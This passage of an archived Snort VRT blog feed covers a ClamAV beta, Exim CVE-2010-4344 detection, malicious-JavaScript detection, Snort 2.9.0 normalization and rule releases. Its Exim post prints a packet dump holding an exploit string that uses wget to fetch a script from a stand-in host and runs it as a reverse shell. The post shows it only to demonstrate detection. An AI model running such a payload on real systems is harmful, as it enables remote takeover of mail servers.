7 IIS7.5 FTP server that we defend against with sid 18243.  The FTP vulnerability does not require authentication and has the potential for remote code execution, so be sure to defend your servers and/or disable FTP if you're not using it.  Neither of these vulnerabilities have in-depth bulletins written about them, just exploit code that is openly available online.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-8203996155699729961?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/8203996155699729961/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=8203996155699729961' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8203996155699729961'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8203996155699729961'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/12/tis-season-for-0-days.html' title='&apos;Tis the Season for 0-days'/><author><name>Patrick Mullen</name><uri>http://www.blogger.com/profile/10812906672862458869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-5355664294374351773</id><published>2010-12-20T15:24:00.003-05:00</published><updated>2010-12-20T15:35:33.056-05:00</updated><title type='text'>ClamAV 3.0 for Windows Open Beta</title><content type='html'>The public beta for ClamAV for Windows 3.0, which includes full integration of the ClamAV engine into the Immunet Protect product is now open.  If you are interested in playing with ClamAV for Windows 3.0 please check out the following link:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://forum.immunet.com/index.php?/topic/562-clamav-for-windows-beta-clamlib-integration"&gt;Beta Announcement&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The download links for the binaries are here:&lt;br /&gt;(32 Bit) - &lt;a href="http://www.clamav.net/win32/ClamAVWindowsSetup-beta-32.exe"&gt;Download&lt;/a&gt;&lt;br /&gt;(64 Bit) - &lt;a href="http://www.clamav.net/win32/ClamAVWindowsSetup-beta-64.exe"&gt;Download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Main feature overview:&lt;br /&gt;&lt;br /&gt; * ClamAV 0.96.5 libraries for real-time scanning and offline scanning&lt;br /&gt; * Customizable signatures support and signature creation UI&lt;br /&gt; * Wildcard exclusions - specifically so we can exclude Thunderbird's %TEMP%\nsmail*.tmp&lt;br /&gt; * Unicode bug fixes&lt;br /&gt; * Bug fix for user's getting in a disconnected state&lt;br /&gt;&lt;br /&gt;A few things to remember&lt;br /&gt;&lt;br /&gt;Because this is a Beta 1:&lt;br /&gt;&lt;br /&gt; * It is strongly recommended that you test on a VM&lt;br /&gt; * See &lt;a href="https://www.clamav.net/bugzilla"&gt;Bugzilla&lt;/a&gt; and &lt;a href="http://forum.immunet.com/index.php?/topic/562-clamav-for-windows-beta-clamlib-integration"&gt;Immunet Forums&lt;/a&gt; for any additional known defects.&lt;br /&gt;&lt;br /&gt;Things to try out:&lt;br /&gt;1. The SigUI - This allows you to create your own ClamAV signatures and load them into the engine. Its both a GUI, and a command line tool.  Documentation is available &lt;a href="http://support.immunet.com/tiki-read_article.php?articleId=24"&gt;here&lt;/a&gt;&lt;br /&gt;2. Writing ClamAV sigs doc is &lt;a href="http://www.clamav.net/doc/latest/signatures.pdf"&gt;here&lt;/a&gt; &lt;br /&gt;3. False positives on installed applications or new applications&lt;br /&gt;&lt;br /&gt;Reporting bugs :&lt;br /&gt;&lt;br /&gt;Please report bugs at &lt;a href="https://wwws.clamav.net/bugzilla"&gt;Bugzilla&lt;/a&gt;. Remember to attach a run of the System Diag Tool to help speed up fixing the problem. (its located in the Program Folder for ClamAV for Windows). It drops a zip file on the desktop.&lt;br /&gt;&lt;br /&gt;Known issues:&lt;br /&gt;1. Binaries are still labeled 2.0&lt;br /&gt;2. Scan history screen contains duplicate entries.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-5355664294374351773?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/5355664294374351773/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=5355664294374351773' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5355664294374351773'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5355664294374351773'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/12/clamav-30-for-windows-open-beta.html' title='ClamAV 3.0 for Windows Open Beta'/><author><name>Matthew Watchinski</name><uri>http://www.blogger.com/profile/00749294989862848285</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-752187552621594429</id><published>2010-12-14T10:37:00.001-05:00</published><updated>2010-12-14T10:45:54.343-05:00</updated><title type='text'>Exim Remote Root</title><content type='html'>We've heard from a number of Sourcefire customers and open-source Snort users lately, asking us whether we'll be releasing coverage for last week's &lt;a href=http://www.exim.org/lurker/message/20101207.215955.bb32d4f2.en.html&gt;Exim remote root&lt;/a&gt; (&lt;a href=http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4344&gt;CVE-2010-4344&lt;/a&gt; for those keeping score at home). Based on what hit the Exim-dev mailing list, we felt confident that the SMTP preprocessor would catch the vulnerability; after testing with the &lt;a href=http://seclists.org/fulldisclosure/2010/Dec/221&gt;proof-of-concept&lt;/a&gt; sent to the Full-Disclosure mailing list on Saturday, we've confirmed that SID 124:2:1 does the job nicely:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;# ~/snort-2.9.0$ src/snort -c etc/snort.2900.conf -q -A cmg -r ~/pcaps/cve-2010-4344-full-disclosure.pcap&lt;br /&gt;12/14-09:15:37.145472  [**] [124:2:1] (smtp) Attempted data header buffer overflow: 2896 chars [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 10.1.11.11:35781 -&gt; 10.1.11.111:25&lt;br /&gt;Stream reassembled packet&lt;br /&gt;12/14-09:15:37.145472 00:0D:57:C7:22:C7 -&gt; A4:BA:DC:19:DD:5F type:0x800 len:0xB92&lt;br /&gt;10.1.11.11:35781 -&gt; 10.1.11.111:25 TCP TTL:64 TOS:0x0 ID:47277 IpLen:20 DgmLen:2948 DF&lt;br /&gt;***A**** Seq: 0xAFFD7BE6  Ack: 0x16168E70  Win: 0x7140  TcpLen: 32&lt;br /&gt;20 2F 74 6D 70 2F 63 2E 70 6C 20 31 30 2E 31 2E   /tmp/c.pl 10.1.&lt;br /&gt;31 31 2E 31 31 20 34 34 34 34 3B 27 7D 7D 20 24  11.11 4444;'}} $&lt;br /&gt;7B 72 75 6E 7B 2F 62 69 6E 2F 73 68 20 2D 63 20  {run{/bin/sh -c&lt;br /&gt;27 77 67 65 74 20 68 74 74 70 3A 2F 2F 77 77 77  'wget http://www&lt;br /&gt;2E 65 78 61 6D 70 6C 65 2E 63 6F 6D 2F 73 68 65  .example.com/she&lt;br /&gt;6C 6C 2E 74 78 74 20 2D 4F 20 2F 74 6D 70 2F 63  ll.txt -O /tmp/c&lt;br /&gt;2E 70 6C 3B 70 65 72 6C 20 2F 74 6D 70 2F 63 2E  .pl;perl /tmp/c.&lt;br /&gt;70 6C 20 31 30 2E 31 2E 31 31 2E 31 31 20 34 34  pl 10.1.11.11 44&lt;br /&gt;34 34 3B 27 7D 7D 20 24 7B 72 75 6E 7B 2F 62 69  44;'}} ${run{/bi&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;No configuration is necessary; the default settings for the SMTP preprocessor will work here. For anyone who may have tweaked their config, ensure that the max_header_line_len is set to 2000 bytes or less (a reasonable value for all but the  most unique of environments; the default value is 1000 bytes).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-752187552621594429?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/752187552621594429/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=752187552621594429' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/752187552621594429'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/752187552621594429'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/12/exim-remote-root.html' title='Exim Remote Root'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-4348881855866020661</id><published>2010-12-03T13:02:00.000-05:00</published><updated>2010-12-03T13:02:50.219-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='Razorback'/><title type='text'>Detecting Obfuscated Malicious JavaScript with Snort and Razorback</title><content type='html'>Unlike most Americans, who were busy recovering from a turkey-induced coma, I spent this past weekend at the &lt;a href=http://www.h2hc.com.br&gt;Hackers 2 Hackers Conference&lt;/a&gt; in Sao Paulo, Brazil. In addition to being a nice respite from the cold weather in DC, the event featured excellent speakers on topics as diverse as PDF analysis and fresh memory exploitation techniques.&lt;br /&gt;&lt;br /&gt;One of those talks was my own, "Detecting Obfuscated Malicious JavaScript with Snort and Razorback" (&lt;a href=http://labs.snort.org/papers/DetectingMaliciousJSwithSnortRazorback.pdf&gt;PDF of slides&lt;/a&gt;). Given the quality of the other presentations, I doubted my work would attract much attention; however, if the number of people who've contacted me since my talk are any indication, I must have done something right.&lt;br /&gt;&lt;br /&gt;In a nutshell, the concept that came out of my talk revolves around language-based anomaly detection. A trained analyst or JavaScript programmer has no problem looking at most malicious code and seeing it as such right away; the goal, then, is to be able to teach the computer to do the same, in the form of a Razorback module. While there's plenty to be done to make a usable detection nugget - including considering some of the excellent suggestions I've received from those who saw me speak - thus far the concept has proven itself useful enough to at least warrant further development.&lt;br /&gt;&lt;br /&gt;That said, I'd love to get feedback from the broader community on this idea. Please take a look at my slides, and if you have any suggestions, questions, etc., post them below or email me directly at alex &lt;dot&gt; kirk &lt;at&gt; sourcefire &lt;dot&gt; com. I hope to have functioning source code online at &lt;a href=http://labs.snort.org/razorback/&gt;http://labs.snort.org/razorback/&lt;/a&gt; by the end of 2010.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-4348881855866020661?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/4348881855866020661/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=4348881855866020661' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/4348881855866020661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/4348881855866020661'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/12/detecting-obfuscated-malicious.html' title='Detecting Obfuscated Malicious JavaScript with Snort and Razorback'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-4760338674873491453</id><published>2010-11-15T13:18:00.000-05:00</published><updated>2010-11-15T13:18:53.422-05:00</updated><title type='text'>Inline Normalization with Snort 2.9.0</title><content type='html'>Snort 2.9.0 can take a more active role in securing your network in inline deployments by normalizing packets and streams to minimize the chance that Snort incorrectly models end systems. &lt;br /&gt;&lt;br /&gt;To accomplish this, a new preprocessor was added.  You must configure with this option to build it:&lt;br /&gt;&lt;pre&gt;./configure --enable-normalizer&lt;br /&gt;&lt;/pre&gt;Then you can update your snort.conf as follows: &lt;br /&gt;&lt;pre&gt;config min_ttl: &amp;lt;ttl&amp;gt;&lt;br /&gt;config new_ttl: &amp;lt;ttl&amp;gt;&lt;br /&gt;&lt;br /&gt;preprocessor normalize_ip4: [df], [rf]&lt;br /&gt;preprocessor normalize_icmp4&lt;br /&gt;preprocessor normalize_ip6&lt;br /&gt;preprocessor normalize_icmp6&lt;br /&gt;preprocessor normalize_tcp: \&lt;br /&gt;[ips] [urp] \&lt;br /&gt;[ecn &amp;lt;ecn_type&amp;gt; \&lt;br /&gt;[opts [allow &amp;lt;allowed_opt&amp;gt;+]]&lt;br /&gt;&lt;/pre&gt;For details on these normalizations, see README.normalize. We will see the ttl and ips normalizations in action below. &lt;br /&gt;&lt;h2&gt;Demo Setup&lt;/h2&gt;You can run these tests in readback mode using the dump DAQ or in playback mode using tcpreplay and an inline sensor.  Using a sensor is the ultimate but you may find the dump DAQ to be indispensable for pcap testing. &lt;br /&gt;&lt;br /&gt;Either way, we will run the tests twice, once in IDS mode and again in IPS mode.  This will allow us to compare the results. &lt;br /&gt;&lt;br /&gt;To run these tests you will need the this tarball: &lt;a href="http://labs.snort.org/files/normalize.tgz"&gt;http://labs.snort.org/files/normalize.tgz&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;For readback mode you will need: &lt;br /&gt;&lt;ol&gt;&lt;li&gt;A system with the latest Snort and DAQ binaries.  Install the tarball from this post there.&lt;/li&gt;&lt;/ol&gt;cd into the Sensor directory and edit config.sh to set SNORT appropriately. &lt;br /&gt;&lt;br /&gt;When you run the tests with ./readback.sh, inline-out.pcap will be created which you can examine with wireshark.  These files will have all packets as they would appear on the wire exiting Snort. &lt;br /&gt;&lt;br /&gt;For playback mode you will need: &lt;br /&gt;&lt;ol&gt;&lt;li&gt;A source / attack system with the Source/ directory from the tarball.  This system also needs tcpreplay.&lt;/li&gt;&lt;li&gt;An inline Snort sensor with the Sensor/ directory from the tarball.  This system also needs the latest Snort and DAQ binaries.&lt;/li&gt;&lt;li&gt;A sink / target system with the Sink/ directory from the tarball.  This system also needs tcpdump.&lt;/li&gt;&lt;/ol&gt;Patch your Source and Sink to opposite sides of the inline pair on your Sensor and edit config.sh on each system to configure the PORT_* variables.  On your sensor, you will also need to indicate where your Snort and any dynamic DAQ modules are installed.  (If you built static DAQs the latter is not required.)  You can add any extra options for Snort to SNORT. &lt;br /&gt;&lt;pre&gt;+--------+       +--------+       +------+&lt;br /&gt;| Source |S-----A| Sensor |B-----R| Sink |&lt;br /&gt;+--------+       +--------+       +------+&lt;br /&gt;&lt;/pre&gt;The inline.sh script on the sensor will use the afpacket DAQ because it requires minimal external configuration.  If you want to use a different DAQ, you must change this script and configure your system accordingly.  Fore more on the DAQ, see this post. &lt;br /&gt;&lt;br /&gt;NOTE: For these tests we are using canned traffic that is replayed from a packet capture file (PCAP file).  For the stream tests, both ends of the traffic will be sent from the same point.  Although that would not be the case for an inline sensor with live traffic, Snort will still see the traffic in the same relative order it would see live traffic. &lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Packet Normalization&lt;/h2&gt;This test will demonstrate how packets can be modified to meet the needs of a &lt;br /&gt;secure network. By ensuring that the time-to-live (TTL) field has a suitable &lt;br /&gt;value, it is less likely that a packet will be dropped by the network after &lt;br /&gt;being processed by Snort. This enables Snort to more accurately model the &lt;br /&gt;receiving host system and prevents wasting time on detection of packets that &lt;br /&gt;won't reach their destination. Note that for IP6 the situation is essentially &lt;br /&gt;the same, except the equivalent field is called “hop limit”. &lt;br /&gt;&lt;br /&gt;TTL normalization pertains to both IP4 TTL (time-to-live) and IP6 (hop limit) &lt;br /&gt;and is only performed if both the relevant protocol normalization is enabled &lt;br /&gt;and the minimum and new TTL values are configured, as follows: &lt;br /&gt;&lt;pre&gt;preprocessor normalize_ip4&lt;br /&gt;preprocessor normalize_ip6&lt;br /&gt;&lt;br /&gt;config min_ttl: 5&lt;br /&gt;config new_ttl: 8&lt;br /&gt;&lt;/pre&gt;If a packet is received with a TTL &amp;lt; 5, the TTL will be set to 8.  Since we enabled IP6 normalization, the same applies to hop limits. &lt;br /&gt;&lt;h3&gt;Readback&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;From Sensor/ run ./readback.sh ttl_i?s.conf ../Source/ttl.pcap.&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;Playback&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;On the sensor, run ./inline.sh ttl_i?s.conf.&lt;/li&gt;&lt;li&gt;On the sink, run ../recv.sh.&lt;/li&gt;&lt;li&gt;On the source, run ./send.sh ttl.pcap.&lt;/li&gt;&lt;li&gt;Type Ctl-C on the sensor and sink to terminate.&lt;/li&gt;&lt;/ol&gt;The results for ttl_ids.conf are: &lt;br /&gt;&lt;pre&gt;16:21:10.133823 10.1.2.3.48620 &amp;gt; 10.9.8.7.8: [udp sum ok] udp 16 (ttl 6, id 1, len 44)&lt;br /&gt;0x0000   4500 002c 0001 0000 0611 96ad 0a01 0203        E..,............&lt;br /&gt;0x0010   0a09 0807 bdec 0008 0018 97a3 4352 4f57        ............CROW&lt;br /&gt;0x0020   443a 2020 4120 7769 7463 6821 0000             D:..A.witch!..&lt;br /&gt;&lt;br /&gt;16:21:10.133824 10.1.2.3.48620 &amp;gt; 10.9.8.7.8: [udp sum ok] udp 16 (ttl 5, id 2, len 44)&lt;br /&gt;0x0000   4500 002c 0002 0000 0511 97ac 0a01 0203        E..,............&lt;br /&gt;0x0010   0a09 0807 bdec 0008 0018 95dd 2020 4120        ..............A.&lt;br /&gt;0x0020   7769 7463 6821 2020 4120 7769 0000             witch!..A.wi..&lt;br /&gt;&lt;br /&gt;16:21:10.133826 10.1.2.3.48620 &amp;gt; 10.9.8.7.8: [udp sum ok] udp 16 (ttl 4, id 3, len 44)&lt;br /&gt;0x0000   4500 002c 0003 0000 0411 98ab 0a01 0203        E..,............&lt;br /&gt;0x0010   0a09 0807 bdec 0008 0018 6785 7463 6821        ..........g.tch!&lt;br /&gt;0x0020   2020 5765 2776 6520 676f 7420 0000             ..We've.got...&lt;br /&gt;&lt;/pre&gt;The results for ttl_ips.conf are: &lt;br /&gt;&lt;pre&gt;0x0000   4500 002c 0001 0000 0611 96ad 0a01 0203        E..,............&lt;br /&gt;0x0010   0a09 0807 bdec 0008 0018 97a3 4352 4f57        ............CROW&lt;br /&gt;0x0020   443a 2020 4120 7769 7463 6821 0000             D:..A.witch!..&lt;br /&gt;&lt;br /&gt;16:09:56.871043 10.1.2.3.48620 &amp;gt; 10.9.8.7.8: [udp sum ok] udp 16 (ttl 5, id 2, len 44)&lt;br /&gt;0x0000   4500 002c 0002 0000 0511 97ac 0a01 0203        E..,............&lt;br /&gt;0x0010   0a09 0807 bdec 0008 0018 95dd 2020 4120        ..............A.&lt;br /&gt;0x0020   7769 7463 6821 2020 4120 7769 0000             witch!..A.wi..&lt;br /&gt;&lt;br /&gt;16:09:56.871044 10.1.2.3.48620 &amp;gt; 10.9.8.7.8: [udp sum ok] udp 16 (ttl 8, id 3, len 44)&lt;br /&gt;0x0000   4500 002c 0003 0000 0811 94ab 0a01 0203        E..,............&lt;br /&gt;0x0010   0a09 0807 bdec 0008 0018 6785 7463 6821        ..........g.tch!&lt;br /&gt;0x0020   2020 5765 2776 6520 676f 7420 0000             ..We've.got...&lt;br /&gt;&lt;/pre&gt;In this case you see that the TTL of the third packet was changed from 4 to 8.  Since the minimum allowed TTL was configured to 5, there was no change to the first two packets. &lt;br /&gt;&lt;pre&gt;Packet I/O Totals:&lt;br /&gt;Received:           57 &lt;br /&gt;Analyzed:            3 (  5.263%)&lt;br /&gt;Filtered:           54 ( 94.737%)&lt;br /&gt;&lt;br /&gt;Verdicts:&lt;br /&gt;Allow:            2 (  3.509%)&lt;br /&gt;Replace:            1 (  1.754%)&lt;br /&gt;&lt;br /&gt;Normalizer statistics:&lt;br /&gt;ip4::ttl: 1&lt;br /&gt;&lt;/pre&gt;The ids counts above show 3 analyzed, 2 allowed, and 1 replaced, which is the packet counted under normalizer statistics. &lt;br /&gt;&lt;h2&gt;Stream Normalization&lt;/h2&gt;This test demonstrates how TCP payload data can be normalized to ensure consistency with retransmitted data. By doing so, Snort is better protected against the vagaries of host dependent TCP reassembly procedures and is less likely to be evaded by such scenarios. &lt;br /&gt;&lt;br /&gt;TCP normalizations are enabled with: &lt;br /&gt;&lt;pre&gt;preprocessor normalize_tcp: ips&lt;br /&gt;&lt;/pre&gt;This will ensure consistency in retransmitted data.  Any segments overlapping with previously received segments will have the overlaps overwritten to contain the data first received. &lt;br /&gt;&lt;h3&gt;Readback&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;From Sensor/ run ./readback.sh tcp_i?s.conf ../Source/tcp.pcap.&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;Playback&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;On the sensor, run ./inline.sh tcp_i?s.conf.&lt;/li&gt;&lt;li&gt;On the sink, run ../recv.sh.&lt;/li&gt;&lt;li&gt;On the source, run ./send.sh tcp.pcap.&lt;/li&gt;&lt;li&gt;Type Ctl-C on the sensor and sink to terminate.&lt;/li&gt;&lt;/ol&gt;The results for tcp_ids.conf are (we are looking at packets 4 and 5, which have payload): &lt;br /&gt;&lt;pre&gt;16:24:05.877457 10.1.2.3.48620 &amp;gt; 10.9.8.7.8: . [tcp sum ok] 1:11(10) ack 1 win 256 (ttl 64, id 4, len 50)&lt;br /&gt;0x0000   4500 0032 0004 0000 4006 5caf 0a01 0203        E..2....@.\.....&lt;br /&gt;0x0010   0a09 0807 bdec 0008 0000 0002 0000 0002        ................&lt;br /&gt;0x0020   5010 0100 ed1f 0000 7365 676d 656e 743d        P.......segment=&lt;br /&gt;0x0030   3120                                           1.&lt;br /&gt;&lt;br /&gt;16:24:05.877458 10.1.2.3.48620 &amp;gt; 10.9.8.7.8: . [tcp sum ok] 6:16(10) ack 1 win 256 (ttl 64, id 5, len 50)&lt;br /&gt;0x0000   4500 0032 0005 0000 4006 5cae 0a01 0203        E..2....@.\.....&lt;br /&gt;0x0010   0a09 0807 bdec 0008 0000 0007 0000 0002        ................&lt;br /&gt;0x0020   5010 0100 26fc 0000 5858 5858 5873 6567        P...&amp;amp;...XXXXXseg&lt;br /&gt;0x0030   3d32                                           =2&lt;br /&gt;&lt;/pre&gt;The results for tcp_ips.conf are: &lt;br /&gt;&lt;pre&gt;16:14:12.402351 10.1.2.3.48620 &amp;gt; 10.9.8.7.8: . [tcp sum ok] 1:11(10) ack 1 win 256 (ttl&lt;br /&gt;64, id 4, len 50)&lt;br /&gt;0x0000 4500 0032 0004 0000 4006 5caf 0a01 0203 E..2....@.\.....&lt;br /&gt;0x0010 0a09 0807 bdec 0008 0000 0002 0000 0002 ................&lt;br /&gt;0x0020 5010 0100 ed1f 0000 7365 676d 656e 743d P.......segment=&lt;br /&gt;0x0030 3120 1.&lt;br /&gt;&lt;br /&gt;16:14:12.402352 10.1.2.3.48620 &amp;gt; 10.9.8.7.8: . [tcp sum ok] 6:16(10) ack 1 win 256 (ttl&lt;br /&gt;64, id 5, len 50)&lt;br /&gt;0x0000 4500 0032 0005 0000 4006 5cae 0a01 0203 E..2....@.\.....&lt;br /&gt;0x0010 0a09 0807 bdec 0008 0000 0007 0000 0002 ................&lt;br /&gt;0x0020 5010 0100 6407 0000 6e74 3d31 2073 6567 P...d...nt=1.seg&lt;br /&gt;0x0030 3d32 =2&lt;br /&gt;&lt;/pre&gt;In this session, the client sends this 10 octet payload “segment=1 “ starting at relative sequence number 1, and then sends this 10 octet payload “XXXXXseg=2” starting at relative sequence number 6. Without stream normalization, payload at sequences 6 through 10 would be delivered to the server twice, first as “nt=1 “ and then as “XXXXX”. The actual data delivered to the application would then depend on the server's TCP reassembly policy, which is implementation specific. &lt;br /&gt;&lt;br /&gt;With stream normalization enabled, the payload at sequences 6 through 10 is the same in both packets. In other words, the server receives this 10 octet payload “segment=1 “ starting at relative sequence number 1 and then receives this 10 octet  payload “nt=1 seg=2” starting at relative sequence number 6.  Regardless of implementation, there is only one way to reassemble this stream. &lt;br /&gt;&lt;pre&gt;Verdicts:&lt;br /&gt;Allow:            7 ( 43.750%)&lt;br /&gt;Block:            0 (  0.000%)&lt;br /&gt;Replace:            1 (  6.250%)&lt;br /&gt;&lt;/pre&gt;The counts show that there was one packet changed in the ips case. &lt;br /&gt;&lt;h2&gt;Closing&lt;/h2&gt;There are several other normalizations available, especially for TCP.  For more information, see README.normalize or the Snort manual.  Stay tuned for additional posts covering additional features of Snort 2.9.0.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-4760338674873491453?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/4760338674873491453/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=4760338674873491453' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/4760338674873491453'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/4760338674873491453'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/11/inline-normalization-with-snort-290.html' title='Inline Normalization with Snort 2.9.0'/><author><name>Russ Combs</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-7879621150258064305</id><published>2010-11-09T13:45:00.000-05:00</published><updated>2010-11-09T13:45:19.686-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule release for today, Tuesday November 9th, 2010</title><content type='html'>Microsoft Security Advisory MS10-087:&lt;br /&gt;Microsoft Office contains programming errors that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory MS10-088:&lt;br /&gt;Microsoft Office PowerPoint contains programming errors that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory MS10-089:&lt;br /&gt;Microsoft ForeFront United Gateway contains programming errors that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;Check out the advisory and change logs here: &lt;a href="http://www.snort.org/vrt/advisories/2010/11/09/vrt-rules-2010-11-09.html"&gt;http://www.snort.org/vrt/advisories/2010/11/09/vrt-rules-2010-11-09.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-7879621150258064305?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/7879621150258064305/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=7879621150258064305' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7879621150258064305'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7879621150258064305'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/11/rule-release-for-today-tuesday-november.html' title='Rule release for today, Tuesday November 9th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-5079364174726634269</id><published>2010-10-28T16:11:00.000-04:00</published><updated>2010-10-28T16:11:31.058-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today, Thursday October 28th, 2010</title><content type='html'>Adobe Shockwave Player vulnerability, see more here: &lt;a href="http://www.snort.org/vrt/advisories/2010/10/28/vrt-rules-2010-10-28.html"&gt;http://www.snort.org/vrt/advisories/2010/10/28/vrt-rules-2010-10-28.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-5079364174726634269?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/5079364174726634269/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=5079364174726634269' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5079364174726634269'/><link rel='self' 